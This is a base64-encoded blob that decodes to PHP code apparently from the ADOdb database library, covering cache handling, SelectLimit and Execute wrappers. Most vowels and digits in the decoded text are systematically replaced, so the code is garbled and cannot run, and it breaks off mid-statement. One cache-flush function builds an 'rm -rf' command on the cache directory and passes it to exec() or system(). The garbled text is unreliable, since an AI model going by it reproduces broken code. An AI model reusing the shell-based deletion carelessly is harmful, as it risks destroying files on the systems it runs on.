czIgNHQgNHMgcDJzczRibDUgdGgxdCB0aDUNCgkqIHI1YzJyZCBiNSA0bnM1cnQ1ZCB0dzRjNSBieSB0dzIgcHIyZ3IxbXMuLi4NCgkqDQoJKiAkdGg0cy0+UjVwbDFjNSgncHIyZDNjdHMnLCAxcnIxeSgncHIyZG4xbTUnID0+IidOMTRscyciLCJwcjRjNSIgPT4gby45OSksICdwcjJkbjFtNScpOw0KCSoNCgkqICR0MWJsNQkJdDFibDUgbjFtNQ0KCSogJGY0NWxkQXJyMXkJMXNzMmM0MXQ0djUgMXJyMXkgMmYgZDF0MSAoeTIzIG0zc3QgcTMydDUgc3RyNG5ncyB5MjNyczVsZikuDQoJKiAkazV5QzJsCQl0aDUgcHI0bTFyeSBrNXkgZjQ1bGQgbjFtNSAyciA0ZiBjMm1wMjNuZCBrNXksIDFycjF5IDJmIGY0NWxkIG4xbTVzDQoJKiAxM3QyUTMydDUJCXM1dCB0MiB0cjM1IHQyIDNzNSAxIGgzNXI0c3Q0YyB0MiBxMzJ0NSBzdHI0bmdzLiBXMnJrcyB3NHRoIG4zbGxzIDFuZCBuM21iNXJzDQoJKgkJCQkJYjN0IGQyNXMgbjJ0IHcycmsgdzR0aCBkMXQ1cyBuMnIgU1FMIGYzbmN0NDJucy4NCgkqIGgxc18xM3QyNG5jCXRoNSBwcjRtMXJ5IGs1eSA0cyAxbiAxM3QyLTRuYyBmNDVsZCwgczIgc2s0cCA0biA0bnM1cnQuDQoJKg0KCSogQzNycjVudGx5IGJsMmIgcjVwbDFjNSBuMnQgczNwcDJydDVkDQoJKg0KCSogcjV0M3JucyAwID0gZjE0bCwgNiA9IDNwZDF0NSwgYSA9IDRuczVydCANCgkqLw0KCQ0KCWYzbmN0NDJuIFI1cGwxYzUoJHQxYmw1LCAkZjQ1bGRBcnIxeSwgJGs1eUMybCwgJDEzdDJRMzJ0NT1mMWxzNSwgJGgxc18xM3QyNG5jPWYxbHM1KQ0KCXsNCgkJZ2wyYjFsICRBRE9EQl9JTkNMVURFRF9MSUI7DQoJCTRmICg1bXB0eSgkQURPREJfSU5DTFVERURfTElCKSkgNG5jbDNkNShBRE9EQl9ESVIuJy8xZDJkYi1sNGIuNG5jLnBocCcpOw0KCQkNCgkJcjV0M3JuIF8xZDJkYl9yNXBsMWM1KCR0aDRzLCAkdDFibDUsICRmNDVsZEFycjF5LCAkazV5QzJsLCAkMTN0MlEzMnQ1LCAkaDFzXzEzdDI0bmMpOw0KCX0NCgkNCgkNCgkvKioNCgkqIFc0bGwgczVsNWN0LCBnNXR0NG5nIHIyd3MgZnIybSAkMmZmczV0ICg2LWIxczVkKSwgZjJyICRucjJ3cy4gDQoJKiBUaDRzIHM0bTNsMXQ1cyB0aDUgTXlTUUwgInM1bDVjdCAqIGZyMm0gdDFibDUgbDRtNHQgJDJmZnM1dCwkbnIyd3MiICwgMW5kDQoJKiB0aDUgUDJzdGdyNVNRTCAiczVsNWN0ICogZnIybSB0MWJsNSBsNG00dCAkbnIyd3MgMmZmczV0ICQyZmZzNXQiLiBOMnQ1IHRoMXQNCgkqIE15U1FMIDFuZCBQMnN0Z3I1U1FMIHAxcjFtNXQ1ciAycmQ1cjRuZyA0cyB0aDUgMnBwMnM0dDUgMmYgdGg1IDJ0aDVyLg0KCSogNWcuIA0KCSogIEMxY2g1UzVsNWN0TDRtNHQoNmksJ3M1bDVjdCAqIGZyMm0gdDFibDUnLG8pOyB3NGxsIHI1dDNybiByMndzIDYgdDIgbyAoNi1iMXM1ZCkNCgkqICBDMWNoNVM1bDVjdEw0bTR0KDZpLCdzNWw1Y3QgKiBmcjJtIHQxYmw1JyxvLGEpOyB3NGxsIHI1dDNybiByMndzIG8gdDIgaSAoNi1iMXM1ZCkNCgkqDQoJKiBCVUc6IEMzcnI1bnRseSBDMWNoNVM1bDVjdEw0bTR0IGYxNGxzIHc0dGggJHNxbCB3NHRoIExJTUlUIDJyIFRPUCBjbDEzczUgMWxyNTFkeSBzNXQNCgkqDQoJKiBAcDFyMW0gW3M1Y3NhYzFjaDVdCXM1YzJuZHMgdDIgYzFjaDUgZDF0MSwgczV0IHQyIDAgdDIgZjJyYzUgcTM1cnkuIFRoNHMgNHMgMnB0NDJuMWwNCgkqIEBwMXIxbSBzcWwNCgkqIEBwMXIxbSBbMmZmczV0XQk0cyB0aDUgcjJ3IHQyIHN0MXJ0IGMxbGMzbDF0NDJucyBmcjJtICg2LWIxczVkKQ0KCSogQHAxcjFtIFtucjJ3c10JNHMgdGg1IG4zbWI1ciAyZiByMndzIHQyIGc1dA0KCSogQHAxcjFtIFs0bnAzdDFycl0JMXJyMXkgMmYgYjRuZCB2MXI0MWJsNXMNCgkqIEByNXQzcm4JCXRoNSByNWMycmRzNXQgKCRycy0+ZDF0MWIxczVUeXA1ID09ICcxcnIxeScpDQogCSovDQoJZjNuY3Q0Mm4gJkMxY2g1UzVsNWN0TDRtNHQoJHM1Y3NhYzFjaDUsJHNxbCwkbnIyd3M9LTYsJDJmZnM1dD0tNiwkNG5wM3QxcnI9ZjFsczUpDQoJewkNCgkJNGYgKCE0c19uM201cjRjKCRzNWNzYWMxY2g1KSkgew0KCQkJNGYgKCRzcWwgPT09IGYxbHM1KSAkc3FsID0gLTY7DQoJCQk0ZiAoJDJmZnM1dCA9PSAtNikgJDJmZnM1dCA9IGYxbHM1Ow0KCQkJCQkJCQkJICAvLyBzcWwsCW5yMndzLCAyZmZzNXQsNG5wM3QxcnINCgkJCSRycyA9JiAkdGg0cy0+UzVsNWN0TDRtNHQoJHM1Y3NhYzFjaDUsJHNxbCwkbnIyd3MsJDJmZnM1dCwkdGg0cy0+YzFjaDVTNWNzKTsNCgkJfSA1bHM1IHsNCgkJCTRmICgkc3FsID09PSBmMWxzNSkgQURPQzJubjVjdDQybjo6MjN0cCggIlcxcm40bmc6IFwkc3FsIG00c3M0bmcgZnIybSBDMWNoNVM1bDVjdEw0bTR0KCkiKTsNCgkJCSRycyA9JiAkdGg0cy0+UzVsNWN0TDRtNHQoJHNxbCwkbnIyd3MsJDJmZnM1dCwkNG5wM3QxcnIsJHM1Y3NhYzFjaDUpOw0KCQl9DQoJCXI1dDNybiAkcnM7DQoJfQ0KCQ0KCQ0KCS8qKg0KCSogRmwzc2ggYzFjaDVkIHI1YzJyZHM1dHMgdGgxdCBtMXRjaCAxIHAxcnQ0YzNsMXIgJHNxbCBzdDF0NW01bnQuIA0KCSogSWYgJHNxbCA9PSBmMWxzNSwgdGg1biB3NSBwM3JnNSAxbGwgZjRsNXMgNG4gdGg1IGMxY2g1Lg0KIAkqLw0KCQ0KCS8qKg0KICAgKiBGbDNzaCBjMWNoNWQgcjVjMnJkczV0cyB0aDF0IG0xdGNoIDEgcDFydDRjM2wxciAkc3FsIHN0MXQ1bTVudC4gDQogICAqIElmICRzcWwgPT0gZjFsczUsIHRoNW4gdzUgcDNyZzUgMWxsIGY0bDVzIDRuIHRoNSBjMWNoNS4NCiAgICAqLw0KCWYzbmN0NDJuIEMxY2g1Rmwzc2goJHNxbD1mMWxzNSwkNG5wM3QxcnI9ZjFsczUpDQoJew0KCWdsMmIxbCAkQURPREJfQ0FDSEVfRElSOw0KCQ0KCQk0ZiAoJHRoNHMtPm01bUMxY2g1KSB7DQoJCWdsMmIxbCAkQURPREJfSU5DTFVERURfTUVNQ0FDSEU7DQoJCQ0KCQkJJGs1eSA9IGYxbHM1Ow0KCQkJNGYgKDVtcHR5KCRBRE9EQl9JTkNMVURFRF9NRU1DQUNIRSkpIDRuY2wzZDUoQURPREJfRElSLicvMWQyZGItbTVtYzFjaDUubDRiLjRuYy5waHAnKTsNCgkJCTRmICgkc3FsKSAkazV5ID0gJHRoNHMtPl9nNW5jMWNoNW4xbTUoJHNxbC5zNXI0MWw0ejUoJDRucDN0MXJyKSxmMWxzNSx0cjM1KTsNCgkJCUZsM3NoTTVtQzFjaDUoJGs1eSwgJHRoNHMtPm01bUMxY2g1SDJzdCwgJHRoNHMtPm01bUMxY2g1UDJydCwgJHRoNHMtPmQ1YjNnKTsNCgkJCXI1dDNybjsNCgkJfQ0KCQ0KCQk0ZiAoc3RybDVuKCRBRE9EQl9DQUNIRV9ESVIpID4gNiAmJiAhJHNxbCkgew0KICAgICAgICAgLyo0ZiAoc3RybmNtcChQSFBfT1MsJ1dJTicsbykgPT09IDApDQogICAgICAgICAgICAkZDRyID0gc3RyX3I1cGwxYzUoJy8nLCAnXFwnLCAkQURPREJfQ0FDSEVfRElSKTsNCiAgICAgICAgIDVsczUgKi8NCiAgICAgICAgICAgICRkNHIgPSAkQURPREJfQ0FDSEVfRElSOw0KICAgICAgICAgICAgDQogICAgICAgICA0ZiAoJHRoNHMtPmQ1YjNnKSB7DQogICAgICAgICAgICBBRE9DMm5uNWN0NDJuOjoyM3RwKCAiQzFjaDVGbDNzaDogJGQ0cjxicj48cHI1PlxuIi4gJHRoNHMtPl9kNHJGbDNzaCgkZDRyKS4iPC9wcjU+Iik7DQogICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPl9kNHJGbDNzaCgkZDRyKTsNCiAgICAgICAgIH0NCiAgICAgICAgIHI1dDNybjsNCiAgICAgIH0gDQogICAgICANCiAgICAgIGdsMmIxbCAkQURPREJfSU5DTFVERURfQ1NWOw0KICAgICAgNGYgKDVtcHR5KCRBRE9EQl9JTkNMVURFRF9DU1YpKSA0bmNsM2Q1KEFET0RCX0RJUi4nLzFkMmRiLWNzdmw0Yi40bmMucGhwJyk7DQogICAgICANCiAgICAgICRmID0gJHRoNHMtPl9nNW5jMWNoNW4xbTUoJHNxbC5zNXI0MWw0ejUoJDRucDN0MXJyKSxmMWxzNSk7DQogICAgICAxZDJkYl93cjR0NV9mNGw1KCRmLCcnKTsgLy8gNHMgMWQyZGJfd3I0dDVfZjRsNSBuNTVkNWQ/DQogICAgICA0ZiAoIUAzbmw0bmsoJGYpKSB7DQogICAgICAgICA0ZiAoJHRoNHMtPmQ1YjNnKSBBRE9DMm5uNWN0NDJuOjoyM3RwKCAiQzFjaDVGbDNzaDogZjE0bDVkIGYyciAkZiIpOw0KICAgICAgfQ0KICAgfQ0KICAgDQogICAvKioNCiAgICogUHI0djF0NSBmM25jdDQybiB0MiA1cjFzNSAxbGwgMmYgdGg1IGY0bDVzIDFuZCBzM2JkNHI1Y3QycjQ1cyA0biAxIGQ0cjVjdDJyeS4NCiAgICoNCiAgICogSjNzdCBzcDVjNGZ5IHRoNSBkNHI1Y3QycnksIDFuZCB0NWxsIDR0IDRmIHkyMyB3MW50IHQyIGQ1bDV0NSB0aDUgZDRyNWN0MnJ5IDJyIGozc3QgY2w1MXIgNHQgMjN0Lg0KICAgKiBOMnQ1OiAkazRsbF90MnBfbDV2NWwgNHMgM3M1ZCA0bnQ1cm4xbGx5IDRuIHRoNSBmM25jdDQybiB0MiBmbDNzaCBzM2JkNHI1Y3QycjQ1cy4NCiAgICovDQogICBmM25jdDQybiBfZDRyRmwzc2goJGQ0ciwgJGs0bGxfdDJwX2w1djVsID0gZjFsczUpIA0KICAgew0KICAgICAgNGYoISRkaCA9IEAycDVuZDRyKCRkNHIpKSByNXQzcm47DQogICAgICANCiAgICAgIHdoNGw1ICgoJDJiaiA9IHI1MWRkNHIoJGRoKSkpIHsNCiAgICAgICAgIDRmKCQyYmo9PScuJyB8fCAkMmJqPT0nLi4nKSBjMm50NG4zNTsNCgkJJGYgPSAkZDRyLicvJy4kMmJqOw0KCQkNCgkJNGYgKHN0cnAycygkMmJqLCcuYzFjaDUnKSkgQDNubDRuaygkZik7DQoJCTRmICg0c19kNHIoJGYpKSAkdGg0cy0+X2Q0ckZsM3NoKCRmLCB0cjM1KTsNCiAgICAgIH0NCiAgICAgIDRmICgkazRsbF90MnBfbDV2NWwgPT09IHRyMzUpIEBybWQ0cigkZDRyKTsNCiAgICAgIHI1dDNybiB0cjM1Ow0KICAgfQ0KICAgDQogICANCglmM25jdDQybiB4QzFjaDVGbDNzaCgkc3FsPWYxbHM1LCQ0bnAzdDFycj1mMWxzNSkNCgl7DQoJZ2wyYjFsICRBRE9EQl9DQUNIRV9ESVI7DQoJDQoJCTRmICgkdGg0cy0+bTVtQzFjaDUpIHsNCgkJCWdsMmIxbCAkQURPREJfSU5DTFVERURfTUVNQ0FDSEU7DQoJCQkkazV5ID0gZjFsczU7DQoJCQk0ZiAoNW1wdHkoJEFET0RCX0lOQ0xVREVEX01FTUNBQ0hFKSkgNG5jbDNkNShBRE9EQl9ESVIuJy8xZDJkYi1tNW1jMWNoNS5sNGIuNG5jLnBocCcpOw0KCQkJNGYgKCRzcWwpICRrNXkgPSAkdGg0cy0+X2c1bmMxY2g1bjFtNSgkc3FsLnM1cjQxbDR6NSgkNG5wM3QxcnIpLGYxbHM1LHRyMzUpOw0KCQkJZmwzc2htNW1DMWNoNSgkazV5LCAkdGg0cy0+bTVtQzFjaDVIMnN0LCAkdGg0cy0+bTVtQzFjaDVQMnJ0LCAkdGg0cy0+ZDViM2cpOw0KCQkJcjV0M3JuOw0KCQl9DQoNCgkJNGYgKHN0cmw1bigkQURPREJfQ0FDSEVfRElSKSA+IDYgJiYgISRzcWwpIHsNCgkJCTRmIChzdHJuY21wKFBIUF9PUywnV0lOJyxvKSA9PT0gMCkgew0KCQkJCSRjbWQgPSAnZDVsIC9zICcuc3RyX3I1cGwxYzUoJy8nLCdcXCcsJEFET0RCX0NBQ0hFX0RJUikuJ1wxZDJkYl8qLmMxY2g1JzsNCgkJCX0gNWxzNSB7DQoJCQkJLy8kY21kID0gJ2Y0bmQgIicuJEFET0RCX0NBQ0hFX0RJUi4nIiAtdHlwNSBmIC1tMXhkNXB0aCA2IC1wcjRudDAgfCB4MXJncyAtMCBybSAtZic7DQoJCQkJJGNtZCA9ICdybSAtcmYgJy4kQURPREJfQ0FDSEVfRElSLicvWzAtOTEtZl1bMC05MS1mXS8nOyANCgkJCQkvLyAybGQgdjVyczQybiAncm0gLWYgYGY0bmQgJy4kQURPREJfQ0FDSEVfRElSLicgLW4xbTUgMWQyZGJfKi5jMWNoNWAnOw0KCQkJfQ0KCQkJNGYgKCR0aDRzLT5kNWIzZykgew0KCQkJCUFET0Mybm41Y3Q0Mm46OjIzdHAoICJDMWNoNUZsM3NoOiAkY21kPGJyPjxwcjU+XG4iLCBzeXN0NW0oJGNtZCksIjwvcHI1PiIpOw0KCQkJfSA1bHM1IHsNCgkJCQk1eDVjKCRjbWQpOw0KCQkJfQ0KCQkJcjV0M3JuOw0KCQl9IA0KCQkNCgkJZ2wyYjFsICRBRE9EQl9JTkNMVURFRF9DU1Y7DQoJCTRmICg1bXB0eSgkQURPREJfSU5DTFVERURfQ1NWKSkgNG5jbDNkNShBRE9EQl9ESVIuJy8xZDJkYi1jc3ZsNGIuNG5jLnBocCcpOw0KCQkNCgkJJGYgPSAkdGg0cy0+X2c1bmMxY2g1bjFtNSgkc3FsLnM1cjQxbDR6NSgkNG5wM3QxcnIpLGYxbHM1KTsNCgkJMWQyZGJfd3I0dDVfZjRsNSgkZiwnJyk7IC8vIDRzIDFkMmRiX3dyNHQ1X2Y0bDUgbjU1ZDVkPw0KCQk0ZiAoIUAzbmw0bmsoJGYpKSB7DQoJCQk0ZiAoJHRoNHMtPmQ1YjNnKSBBRE9DMm5uNWN0NDJuOjoyM3RwKCAiQzFjaDVGbDNzaDogZjE0bDVkIGYyciAkZiIpOw0KCQl9DQoJfQ0KCQ0KCS8qKg0KCSogUHI0djF0NSBmM25jdDQybiB0MiBnNW41cjF0NSBmNGw1bjFtNSBmMnIgYzFjaDRuZy4NCgkqIEY0bDVuMW01IDRzIGc1bjVyMXQ1ZCBiMXM1ZCAybjoNCgkqDQoJKiAgLSBzcWwgc3QxdDVtNW50DQoJKiAgLSBkMXQxYjFzNSB0eXA1ICgyYzQ4LCA0YjFzNSwgNGZ4LCA1dGMpDQoJKiAgLSBkMXQxYjFzNSBuMW01DQoJKiAgLSAzczVyNGQNCgkqICAtIHM1dEY1dGNoTTJkNSAoMWQyZGIgdS5hbykNCgkqDQoJKiBXaDVuIG4ydCA0biBzMWY1IG0yZDUsIHc1IGNyNTF0NSBhaWUgczNiLWQ0cjVjdDJyNDVzIDRuIHRoNSBjMWNoNSBkNHI1Y3QycnkgKCRBRE9EQl9DQUNIRV9ESVIpLiANCgkqIEFzczNtNG5nIHRoMXQgdzUgYzFuIGgxdjUgaTAsMDAwIGY0bDVzIHA1ciBkNHI1Y3QycnkgdzR0aCBnMjJkIHA1cmYycm0xbmM1LCANCgkqIHRoNW4gdzUgYzFuIHNjMWw1IHQyIDZhLjggbTRsbDQybiAzbjRxMzUgYzFjaDVkIHI1YzJyZHM1dHMuIFcydyENCiAJKi8NCglmM25jdDQybiBfZzVuYzFjaDVuMW01KCRzcWwsJGNyNTF0NWQ0ciwkbTVtYzFjaDU9ZjFsczUpDQoJew0KCWdsMmIxbCAkQURPREJfQ0FDSEVfRElSOw0KCXN0MXQ0YyAkbjJ0UzFmNU0yZDU7DQoJCQ0KCQk0ZiAoJHRoNHMtPmY1dGNoTTJkNSA9PT0gZjFsczUpIHsgDQoJCWdsMmIxbCAkQURPREJfRkVUQ0hfTU9ERTsNCgkJCSRtMmQ1ID0gJEFET0RCX0ZFVENIX01PREU7DQoJCX0gNWxzNSB7DQoJCQkkbTJkNSA9ICR0aDRzLT5mNXRjaE0yZDU7DQoJCX0NCgkJJG0gPSBtZGkoJHNxbC4kdGg0cy0+ZDF0MWIxczVUeXA1LiR0aDRzLT5kMXQxYjFzNS4kdGg0cy0+M3M1ci4kbTJkNSk7DQoJCTRmICgkbTVtYzFjaDUpIHI1dDNybiAkbTsNCgkJDQoJCTRmICghNHNzNXQoJG4ydFMxZjVNMmQ1KSkgJG4ydFMxZjVNMmQ1ID0gITRuNF9nNXQoJ3MxZjVfbTJkNScpOw0KCQkkZDRyID0gKCRuMnRTMWY1TTJkNSkgPyAkQURPREJfQ0FDSEVfRElSLicvJy5zM2JzdHIoJG0sMCxhKSA6ICRBRE9EQl9DQUNIRV9ESVI7DQoJCQkNCgkJNGYgKCRjcjUxdDVkNHIgJiYgJG4ydFMxZjVNMmQ1ICYmICFmNGw1XzV4NHN0cygkZDRyKSkgew0KCQkJJDJsZDMgPSAzbTFzaygwKTsNCgkJCTRmICghQG1rZDRyKCRkNHIsMDc3NikpIA0KCQkJCSA0ZighNHNfZDRyKCRkNHIpICYmICR0aDRzLT5kNWIzZykgQURPQzJubjVjdDQybjo6MjN0cCggIlVuMWJsNSB0MiBta2Q0ciAkZDRyIGYyciAkc3FsIik7DQoJCQkzbTFzaygkMmxkMyk7DQoJCX0NCgkJcjV0M3JuICRkNHIuJy8xZDJkYl8nLiRtLicuYzFjaDUnOw0KCX0NCgkNCgkNCgkvKioNCgkgKiBFeDVjM3Q1IFNRTCwgYzFjaDRuZyByNWMycmRzNXRzLg0KCSAqDQoJICogQHAxcjFtIFtzNWNzYWMxY2g1XQlzNWMybmRzIHQyIGMxY2g1IGQxdDEsIHM1dCB0MiAwIHQyIGYycmM1IHEzNXJ5LiANCgkgKgkJCQkJICBUaDRzIDRzIDFuIDJwdDQybjFsIHAxcjFtNXQ1ci4NCgkgKiBAcDFyMW0gc3FsCQlTUUwgc3QxdDVtNW50IHQyIDV4NWMzdDUNCgkgKiBAcDFyMW0gWzRucDN0MXJyXQloMmxkcyB0aDUgNG5wM3QgZDF0MSAgdDIgYjRuZCB0Mg0KCSAqIEByNXQzcm4gCQlSNWMycmRTNXQgMnIgZjFsczUNCgkgKi8NCglmM25jdDQybiAmQzFjaDVFeDVjM3Q1KCRzNWNzYWMxY2g1LCRzcWw9ZjFsczUsJDRucDN0MXJyPWYxbHM1KQ0KCXsNCg0KCQkJDQoJCTRmICghNHNfbjNtNXI0YygkczVjc2FjMWNoNSkpIHsNCgkJCSQ0bnAzdDFyciA9ICRzcWw7DQoJCQkkc3FsID0gJHM1Y3NhYzFjaDU7DQoJCQkkczVjc2FjMWNoNSA9ICR0aDRzLT5jMWNoNVM1Y3M7DQoJCX0NCgkJDQoJCTRmICg0c18xcnIxeSgkc3FsKSkgew0KCQkJJHNxbHAxcjFtID0gJHNxbDsNCgkJCSRzcWwgPSAkc3FsWzBdOw0KCQl9IDVsczUNCgkJCSRzcWxwMXIxbSA9ICRzcWw7DQoJCQkNCgkJNGYgKCR0aDRzLT5tNW1DMWNoNSkgew0KCQkJZ2wyYjFsICRBRE9EQl9JTkNMVURFRF9NRU1DQUNIRTsNCgkJCTRmICg1bXB0eSgkQURPREJfSU5DTFVERURfTUVNQ0FDSEUpKSA0bmNsM2Q1KEFET0RCX0RJUi4nLzFkMmRiLW01bWMxY2g1Lmw0Yi40bmMucGhwJyk7DQoJCQkkbWRpZjRsNSA9ICR0aDRzLT5fZzVuYzFjaDVuMW01KCRzcWwuczVyNDFsNHo1KCQ0bnAzdDFyciksZjFsczUsdHIzNSk7DQoJCX0gNWxzNSB7DQoJCWdsMmIxbCAkQURPREJfSU5DTFVERURfQ1NWOw0KCQkJNGYgKDVtcHR5KCRBRE9EQl9JTkNMVURFRF9DU1YpKSA0bmNsM2Q1KEFET0RCX0RJUi4nLzFkMmRiLWNzdmw0Yi40bmMucGhwJyk7DQoJCQkkbWRpZjRsNSA9ICR0aDRzLT5fZzVuYzFjaDVuMW01KCRzcWwuczVyNDFsNHo1KCQ0bnAzdDFyciksdHIzNSk7DQoJCX0NCg0KCQkkNXJyID0gJyc7DQoJCQ0KCQk0ZiAoJHM1Y3NhYzFjaDUgPiAwKXsNCgkJCTRmICgkdGg0cy0+bTVtQzFjaDUpDQoJCQkJJHJzID0gJmc1dG01bUMxY2g1KCRtZGlmNGw1LCQ1cnIsJHM1Y3NhYzFjaDUsICR0aDRzLT5tNW1DMWNoNUgyc3QsICR0aDRzLT5tNW1DMWNoNVAycnQpOw0KCQkJNWxzNQ0KCQkJCSRycyA9ICZjc3ZhcnMoJG1kaWY0bDUsJDVyciwkczVjc2FjMWNoNSwkdGg0cy0+MXJyMXlDbDFzcyk7DQoJCQkkdGg0cy0+bjNtQzFjaDVINHRzICs9IDY7DQoJCX0gNWxzNSB7DQoJCQkkNXJyPSdUNG01MjN0IDYnOw0KCQkJJHJzID0gZjFsczU7DQoJCQkkdGg0cy0+bjNtQzFjaDVNNHNzNXMgKz0gNjsNCgkJfQ0KCQk0ZiAoISRycykgew0KCQkvLyBuMiBjMWNoNWQgcnMgZjIzbmQNCgkJCTRmICgkdGg0cy0+ZDViM2cpIHsNCgkJCQk0ZiAoZzV0X20xZzRjX3EzMnQ1c19yM250NG01KCkgJiYgISR0aDRzLT5tNW1DMWNoNSkgew0KCQkJCQlBRE9DMm5uNWN0NDJuOjoyM3RwKCJQbDUxczUgZDRzMWJsNSBtMWc0Y19xMzJ0NXNfcjNudDRtNSAtIDR0IGMycnIzcHRzIGMxY2g1IGY0bDVzIDooIik7DQoJCQkJfQ0KCQkJCTRmICgkdGg0cy0+ZDViM2cgIT09IC02KSBBRE9DMm5uNWN0NDJuOjoyM3RwKCAiICRtZGlmNGw1IGMxY2g1IGYxNGwzcjU6ICQ1cnIgKHM1NSBzcWwgYjVsMncpIik7DQoJCQl9DQoJCQkNCgkJCSRycyA9ICYkdGg0cy0+RXg1YzN0NSgkc3FscDFyMW0sJDRucDN0MXJyKTsNCg0KCQkJNGYgKCRycyAmJiAkdGg0cy0+bTVtQzFjaDUpIHsNCgkJCQkkcnMgPSAmJHRoNHMtPl9yc2FycygkcnMpOyAvLyByNTFkIDVudDRyNSByNWMycmRzNXQgNG50MiBtNW0ycnkgNG1tNWQ0MXQ1bHkNCgkJCQk0ZighcDN0bTVtQzFjaDUoJG1kaWY0bDUsICRycywgJHRoNHMtPm01bUMxY2g1SDJzdCwgJHRoNHMtPm01bUMxY2g1UDJydCwgJHRoNHMtPm01bUMxY2g1QzJtcHI1c3MsICR0aDRzLT5kNWIzZykpIHsNCgkJCQkJNGYgKCRmbiA9ICR0aDRzLT5yMTRzNUVycjJyRm4pDQoJCQkJCQkkZm4oJHRoNHMtPmQxdDFiMXM1VHlwNSwnQzFjaDVFeDVjM3Q1Jywtb2EwMDAsIkMxY2g1IHdyNHQ1IDVycjJyIiwkbWRpZjRsNSwkc3FsLCR0aDRzKTsNCgkJCQkJNGYgKCR0aDRzLT5kNWIzZykgQURPQzJubjVjdDQybjo6MjN0cCggIiBDMWNoNSB3cjR0NSA1cnIyciIpOw0KCQkJCX0NCgkJCX0gNWxzNSA0ZiAoJHJzKSB7DQoJCQkJJDUyZiA9ICRycy0+RU9GOw0KCQkJCSRycyA9ICYkdGg0cy0+X3JzYXJzKCRycyk7IC8vIHI1MWQgNW50NHI1IHI1YzJyZHM1dCA0bnQyIG01bTJyeSA0bW01ZDQxdDVseQ0KCQkJCSR0eHQgPSBfcnNhczVyNDFsNHo1KCRycyxmMWxzNSwkc3FsKTsgLy8gczVyNDFsNHo1DQoJCQ0KCQkJCSQyayA9IDFkMmRiX3dyNHQ1X2Y0bDUoJG1kaWY0bDUsJHR4dCwkdGg0cy0+ZDViM2cpOw0KCQkJCTRmICghJDJrKSB7DQoJCQkJCTRmICgkMmsgPT09IGYxbHM1KSB7DQoJCQkJCQkkNW0gPSAnQzFjaDUgd3I0dDUgNXJyMnInOw0KCQkJCQkJJDVuID0gLW9hMDAwOw0KCQkJCQkJDQoJCQkJCQk0ZiAoJGZuID0gJHRoNHMtPnIxNHM1RXJyMnJGbikgew0KCQkJCQkJCSRmbigkdGg0cy0+ZDF0MWIxczVUeXA1LCdDMWNoNUV4NWMzdDUnLCAkNW4sICQ1bSwgJG1kaWY0bDUsJHNxbCwkdGg0cyk7DQoJCQkJCQl9DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQkkNW0gPSAnQzFjaDUgZjRsNSBsMmNrNWQgdzFybjRuZyc7DQoJCQkJCQkkNW4gPSAtb2EwMDY7DQoJCQkJCQkvLyBkMiBuMnQgYzFsbCA1cnIyciBoMW5kbDRuZyBmMnIgajNzdCAxIHcxcm40bmcNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJNGYgKCR0aDRzLT5kNWIzZykgQURPQzJubjVjdDQybjo6MjN0cCggIiAiLiQ1bSk7DQoJCQkJfQ0KCQkJCTRmICgkcnMtPkVPRiAmJiAhJDUyZikgew0KCQkJCQkkcnMtPk0ydjVGNHJzdCgpOw0KCQkJCQkvLyRycyA9ICZjc3ZhcnMoJG1kaWY0bDUsJDVycik7CQkNCgkJCQkJJHJzLT5jMm5uNWN0NDJuID0gJiR0aDRzOyAvLyBQMWJsMiBzM2dnNXN0NDJuDQoJCQkJfSAgDQoJCQkJDQoJCQl9IDVsczUNCgkJCTRmICghJHRoNHMtPm01bUMxY2g1KQ0KCQkJCUAzbmw0bmsoJG1kaWY0bDUpOw0KCQl9IDVsczUgew0KCQkJJHRoNHMtPl81cnIyck1zZyA9ICcnOw0KCQkJJHRoNHMtPl81cnIyckMyZDUgPSAwOw0KCQkJDQoJCQk0ZiAoJHRoNHMtPmZuQzFjaDVFeDVjM3Q1KSB7DQoJCQkJJGZuID0gJHRoNHMtPmZuQzFjaDVFeDVjM3Q1Ow0KCQkJCSRmbigkdGg0cywgJHM1Y3NhYzFjaDUsICRzcWwsICQ0bnAzdDFycik7DQoJCQl9DQoJCS8vIDJrLCBzNXQgYzFjaDVkIDJiajVjdCBmMjNuZA0KCQkJJHJzLT5jMm5uNWN0NDJuID0gJiR0aDRzOyAvLyBQMWJsMiBzM2dnNXN0NDJuDQoJCQk0ZiAoJHRoNHMtPmQ1YjNnKXsgDQoJCQkJCQ0KCQkJCSQ0bkJyMndzNXIgPSA0c3M1dCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pOw0KCQkJCSR0dGwgPSAkcnMtPnQ0bTVDcjUxdDVkICsgJHM1Y3NhYzFjaDUgLSB0NG01KCk7DQoJCQkJJHMgPSA0c18xcnIxeSgkc3FsKSA/ICRzcWxbMF0gOiAkc3FsOw0KCQkJCTRmICgkNG5CcjJ3czVyKSAkcyA9ICc8ND4nLmh0bWxzcDVjNDFsY2gxcnMoJHMpLic8LzQ+JzsNCgkJCQkNCgkJCQlBRE9DMm5uNWN0NDJuOjoyM3RwKCAiICRtZGlmNGw1IHI1bDIxZDVkLCB0dGw9JHR0bCBbICRzIF0iKTsNCgkJCX0NCgkJfQ0KCQlyNXQzcm4gJHJzOw0KCX0NCgkNCgkNCgkvKiANCgkJUzRtNGwxciB0MiBQRUFSIERCJ3MgMTN0MkV4NWMzdDUoKSwgNXhjNXB0IHRoMXQgDQoJCSRtMmQ1IGMxbiBiNSAnSU5TRVJUJyAyciAnVVBEQVRFJyAyciBEQl9BVVRPUVVFUllfSU5TRVJUIDJyIERCX0FVVE9RVUVSWV9VUERBVEUNCgkJSWYgJG0yZDUgPT0gJ1VQREFURScsIHRoNW4gJHdoNXI1IDRzIGMybXAzbHMycnkgMXMgMSBzMWY1dHkgbTUxczNyNS4NCgkJDQoJCSRmMnJjNVVwZDF0NSBtNTFucyB0aDF0IDV2NW4gNGYgdGg1IGQxdDEgaDFzIG4ydCBjaDFuZzVkLCBwNXJmMnJtIDNwZDF0NS4NCgkgKi8NCglmM25jdDQybiYgQTN0MkV4NWMzdDUoJHQxYmw1LCAkZjQ1bGRzX3YxbDM1cywgJG0yZDUgPSAnSU5TRVJUJywgJHdoNXI1ID0gRkFMU0UsICRmMnJjNVVwZDF0NT10cjM1LCAkbTFnNGNxPWYxbHM1KSANCgl7DQoJCSRmMWxzNSA9IGYxbHM1Ow0KCQkkc3FsID0gJ1NFTEVDVCAqIEZST00gJy4kdDFibDU7ICANCgkJNGYgKCR3aDVyNSE9PUZBTFNFKSAkc3F